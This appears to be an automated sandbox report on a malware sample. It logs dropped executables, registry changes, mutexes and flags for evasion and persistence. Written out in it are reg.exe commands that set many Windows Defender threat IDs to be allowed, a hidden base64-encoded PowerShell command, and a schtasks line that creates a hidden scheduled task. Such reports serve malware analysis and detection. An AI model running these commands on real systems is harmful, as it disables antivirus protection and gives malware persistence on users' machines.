Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32

Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\7zS7660.tmp

Jump to behavior

Source: classification engine

Classification label: mal88.evad.winEXE@98/15@0/0

Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5968:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Mutant created: \BaseNamedObjects\Global\1_H69925949
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5096:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2108:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1272:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6076:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3112:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2160:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3508:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5208:120:WilError_01

Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 7607851 > 1048576

Data Obfuscation

Suspicious powershell command line found

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00411360 push ecx; mov dword ptr [esp], ecx	0_2_00411361
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00413954 push eax; ret	0_2_00413972
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00413CC0 push eax; ret	0_2_00413CEE
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Code function: 2_2_10149450 push eax; ret	2_2_1014946E
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Code function: 2_2_101352D5 push ecx; ret	2_2_101352E8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FF8163B2569 push eax; retf	17_2_00007FF8163B2609
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Code function: 23_2_10149450 push eax; ret	23_2_1014946E
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Code function: 23_2_101352D5 push ecx; ret	23_2_101352E8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_06760260 push es; ret	24_2_06760270
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_0676B2FD push ecx; ret	24_2_0676B308
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_06760161 pushfd ; iretd	24_2_0676016D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_06762900 push es; ret	24_2_06762910
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_0676690B push es; ret	24_2_06766910
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_06F180AC push es; ret	24_2_06F180B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_06F1FF20 push es; ret	24_2_06F1FF30

Source: file.exe	Static PE information: section name: .sxdata
Source: Install.exe.0.dr	Static PE information: section name: .sxdata

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00418320 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00418320

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe

Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	File created: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zS7660.tmp\Install.exe	File created: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	File created: C:\Windows\Temp\CTQYLaFGBwgBLVnC\XOWTqVpevqJTLBZ\YLNoErO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\7zS7660.tmp\Install.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe

File created: C:\Windows\Temp\CTQYLaFGBwgBLVnC\XOWTqVpevqJTLBZ\YLNoErO.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "goSRLihgj" /SC once /ST 00:45:25 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

Source: C:\Windows\SysWOW64\schtasks.exe

File created: C:\Windows\Tasks\bbrwVHWbINAVAbZleQ.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7660.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7660.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7660.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7660.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7660.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7660.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
